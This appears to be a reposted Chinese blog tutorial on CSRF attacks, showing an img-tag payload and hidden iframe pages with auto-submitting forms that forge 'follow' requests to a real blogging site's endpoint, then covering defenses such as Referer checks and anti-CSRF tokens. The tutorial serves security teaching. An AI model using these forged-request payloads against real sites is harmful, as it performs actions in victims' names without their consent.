`
m635674608
  • 浏览: 5061102 次
  • 性别: Icon_minigender_1
  • 来自: 南京
社区版块
存档分类
最新评论

Web安全之CSRF攻击

 
阅读更多

CSRF是什么?

CSRF(Cross Site Request Forgery),中文是跨站点请求伪造。CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击页面,利用目标网站对用户的信任,以用户身份在攻击页面对目标网站发起伪造用户操作的请求,达到攻击目的。

举个例子

简单版:

假如博客园有个加关注的GET接口,blogUserGuid参数很明显是关注人Id,如下:

http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=4e8c33d0-77fe-df11-ac81-842b2b196315

那我只需要在我的一篇博文内容里面写一个img标签:

<img style="width:0;" src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=4e8c33d0-77fe-df11-ac81-842b2b196315"   />

那么只要有人打开我这篇博文,那就会自动关注我。

升级版:

假如博客园还是有个加关注的接口,不过已经限制了只获取POST请求的数据。这个时候就做一个第三方的页面,但里面包含form提交代码,然后通过QQ、邮箱等社交工具传播,诱惑用户去打开,那打开过博客园的用户就中招了。

在说例子之前要纠正一个iframe问题,有人会直接在第三方页面这样写。如下:

复制代码
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF SHOW</title>
</head>
     <body>
          <!--不嵌iframe会跳转-->
          <iframe style="display:none;">
               <form  name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
                    <input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
                    <input type="submit" value>
               </form>
               <script>
                    document.forms.form1.submit();
               </script>
          </iframe>
     </body>
</html>
复制代码

这样是用问题的,由于同源策略的原因,iframe内容根本加载不出来,所以里面form提交当然不会执行。

PS:我尝试了chrome、IE11、Firefox,情况都是这样。

所以可以用嵌多一层页面方式解决,如下:

第一个展示页面(test):

复制代码
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF SHOW</title>
</head>
     <body>
          <iframe style="display:none;" src="test2.html"></iframe>
     </body>
</html>
复制代码

第二个隐藏页面(test2):

复制代码
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF GET</title>
<body>
     <form  name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
          <input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
          <input type="submit" value>
     </form>
     <script>
          document.forms.form1.submit();
     </script>
</body>
</html>
复制代码

这样就可以解决了,有人会问为什么要加多一层iframe,因为不嵌iframe页面会重定向,这样就降低了攻击的隐蔽性。另外我们test页面不使用XMLHTTPRequest发送POST请求,是因为有跨域的问题,而form可以跨域post数据

进阶版:

假如博客园还是有个加关注的接口,已经限制POST,但博文内容是直接贴进HTML(未过滤),那就遭受XSS攻击。那么就可以直接把上面代码嵌入博文,那么只要有人打开我这篇博文,还是会自动关注我,这组合攻击方式称为XSRF。

CSRF攻击的本质原因

CSRF攻击是源于Web的隐式身份验证机制!Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。CSRF攻击的一般是由服务端解决。

CSRF工具的防御手段

1. 尽量使用POST,限制GET

GET接口太容易被拿来做CSRF攻击,看第一个示例就知道,只要构造一个img标签,而img标签又是不能过滤的数据。接口最好限制为POST使用,GET则无效,降低攻击风险。

当然POST并不是万无一失,攻击者只要构造一个form就可以,但需要在第三方页面做,这样就增加暴露的可能性。

2. 浏览器Cookie策略

IE6、7、8、Safari会默认拦截第三方本地Cookie(Third-party Cookie)的发送。但是Firefox2、3、Opera、Chrome、Android等不会拦截,所以通过浏览器Cookie策略来防御CSRF攻击不靠谱,只能说是降低了风险。

PS:Cookie分为两种,Session Cookie(在浏览器关闭后,就会失效,保存到内存里),Third-party Cookie(即只有到了Exprie时间后才会失效的Cookie,这种Cookie会保存到本地)。

PS:另外如果网站返回HTTP头包含P3P Header,那么将允许浏览器发送第三方Cookie。

3. 加验证码

验证码,强制用户必须与应用进行交互,才能完成最终请求。在通常情况下,验证码能很好遏制CSRF攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。

4. Referer Check

Referer Check在Web最常见的应用就是“防止图片盗链”。同理,Referer Check也可以被用于检查请求是否来自合法的“源”(Referer值是否是指定页面,或者网站的域),如果都不是,那么就极可能是CSRF攻击。

但是因为服务器并不是什么时候都能取到Referer,所以也无法作为CSRF防御的主要手段。但是用Referer Check来监控CSRF攻击的发生,倒是一种可行的方法。

5. Anti CSRF Token

现在业界对CSRF的防御,一致的做法是使用一个Token(Anti CSRF Token)。

例子:

1. 用户访问某个表单页面。

2. 服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。

3. 在页面表单附带上Token参数。

4. 用户提交请求后, 服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,一致为合法请求,不是则非法请求。

这个Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。

注意:

CSRF的Token仅仅用于对抗CSRF攻击。当网站同时存在XSS漏洞时候,那这个方案也是空谈。所以XSS带来的问题,应该使用XSS的防御方案予以解决。

总结

CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式,通常使用Anti CSRF Token来防御CSRF攻击,同时要注意Token的保密性和随机性。

参考文献:

1. 《浅谈CSRF攻击方式

2. 《白帽子讲Web安全》

 

http://www.cnblogs.com/lovesong/p/5233195.html

分享到:
评论

相关推荐

    Web应用安全:CSRF攻击手段与影响.pptx

    总的来说,理解并防范CSRF攻击对于保障Web应用的安全至关重要。开发人员应遵循最佳实践,对所有可能改变用户状态的操作进行严格验证,同时提高用户的安全意识,避免点击不明链接。只有这样,才能有效地降低CSRF攻击...

    基于JSP的Java Web项目的CSRF防御示例

    在基于JSP的Java Web项目中,了解如何防御CSRF攻击至关重要,因为这可以保护用户的敏感数据和应用的完整性。 **CSRF攻击原理** CSRF攻击通常发生在用户已登录一个网站并保持会话的情况下,攻击者通过构造恶意链接...

    浅谈CSRF攻击方式

    这种攻击之所以有效,是因为Web应用在处理用户的请求时往往依赖于这些凭证来验证用户的身份。 #### 二、CSRF可以做什么? CSRF攻击的核心在于盗用用户的合法身份,在用户不知情的情况下执行恶意操作。攻击者可以...

    Web应用安全:CSRF防范对策.pptx

    防止CSRF攻击的关键在于确保请求的完整性和合法性,通过验证额外的安全信息(如Token)以及监控请求来源,可以显著提高Web应用的安全性。开发者应当根据应用的具体情况选择合适的防范措施,以确保用户的数据安全不受...

    webcsrf攻击的应对之道

    CSRF攻击之所以危险,是因为它可以绕过网站的安全机制,在未获得用户明确授权的情况下执行敏感操作。例如,攻击者可以通过伪造转账请求,使得用户的银行账户资金被转移至攻击者指定的账户中。这类攻击不仅难以察觉,...

    Web应用安全:CSRF简介.pptx

    在Web安全领域,它是一种利用用户的已登录状态进行恶意操作的攻击方式。通常,CSRF会被简称为CSRF或XSRF。 **2. CSRF攻击原理** CSRF攻击的核心在于,攻击者能够诱使用户在不知情的情况下,通过他们的浏览器发送...

    Web应用安全:CSRF安全隐患产生原因.pptx

    了解CSRF攻击的产生原因对于构建安全的Web应用程序至关重要。 ### CSRF攻击的条件 1. **用户登录并保存Cookie**:当用户成功登录一个受信任的网站A后,服务器通常会在用户的浏览器中设置一个Session或Cookie来标识...

    信息安全技术:CSRF攻击简介.pptx

    CSRF攻击利用了用户已经登录并保存了某些敏感信息的Web应用程序,攻击者通过诱导用户执行非预期的操作,从而实现对用户的欺诈或数据窃取。 CSRF攻击的基本原理是,攻击者通过构造一个看似合法的请求,让用户在不...

    Web应用安全:CSRF进阶.pptx

    Web应用安全领域中,CSRF...总的来说,理解和防范CSRF攻击是Web应用安全的关键环节,特别是当它与XSS结合,或者演化为蠕虫形式时,危害更大。开发者和用户都应提高警惕,采取有效的安全措施,避免数据和隐私受到侵犯。

    Web应用安全:针对内部网络的CSRF攻击.pptx

    Web应用安全:针对内部网络的CSRF攻击.pptx

    Web应用安全:针对内部网络的CSRF攻击.docx

    Web应用安全:针对内部网络的CSRF攻击.docx

    Java Web应用安全防护:抵御CSRF与XSS攻击的策略

    CSRF和XSS攻击是Web应用开发中必须面对的安全挑战。通过本文的详细介绍,你应该能够理解这些攻击的原理和防护策略。在Java Web应用开发中,实施有效的CSRF和XSS防护措施是确保用户数据安全和应用稳定性的关键。随着...

    详解WEB攻击之CSRF攻击与防护

    CSRF攻击之所以危险,是因为它能够利用用户的浏览器已保存的会话(session)信息,例如登录状态或Cookie,来执行未授权的命令。 CSRF攻击的定义涵盖了几个关键元素。首先,这种攻击通常发生在用户已经登录到一个...

    csrf绕过Referer技巧-01

    CSRF攻击是Web应用安全中一个常见的问题, Referer头可以用来防御CSRF攻击,但是攻击者可以通过绕过Referer技巧来欺骗服务器。因此,Web开发者需要采取多种防御措施来防御CSRF攻击,例如验证Token、双重验证、验证码...

    Web应用安全:CSRF防范辅助性对策.pptx

    综上,防范CSRF攻击需要综合运用多种技术手段,结合主被动策略,同时考虑用户体验和兼容性问题,才能构建出相对完整的安全防护网。在实际应用中,开发者应根据应用的具体场景和风险等级,选择合适的防CSRF措施。

    详解如何在spring boot中使用spring security防止CSRF攻击

    CSRF 攻击可以盗用用户的身份,以用户的名义发送恶意请求,造成的问题包括:个人隐私泄露以及财产安全。 Spring Security 中的 CSRF 防护机制 Spring Security 提供了 CSRF 防护机制,可以保护用户免受 CSRF 攻击...

    挖掘CSRF之道

    CSRF攻击之所以能够成功,是因为浏览器默认将用户的Cookies(包括会话ID)与请求一起发送,从而使得攻击者可以利用受害者的身份执行操作。因此,在Web应用开发过程中,加入安全机制来防范此类攻击至关重要。 #### ...

    Web安全的三个XSS-CSRF-CLICK攻防姿

    CSRF攻击同样是一种常见的Web安全问题,它利用用户的合法身份,诱导用户在不知情的情况下发起一些非用户的意愿操作。例如,用户在登录状态下,攻击者通过构造特定的URL使用户点击后,自动在用户不知情的状况下执行...

    CSRF攻击技术

    由于CSRF攻击可以绕过用户的知情和同意,导致用户在不知情的情况下做出非意愿的操作,因此,对于任何处理敏感数据或操作的Web应用来说,防范CSRF攻击都是至关重要的。开发人员应遵循最佳实践,确保应用的安全性,...

    CSRF知识点·总结.pdf

    CSRF(跨站请求伪造)是一种常见的Web安全攻击,其特点是在用户已经通过身份验证的情况下,攻击者诱导用户执行某些操作,从而达到其非法目的。CSRF攻击通常通过用户的浏览器向含有CSRF漏洞的Web应用程序发起请求,...

Global site tag (gtag.js) - Google Analytics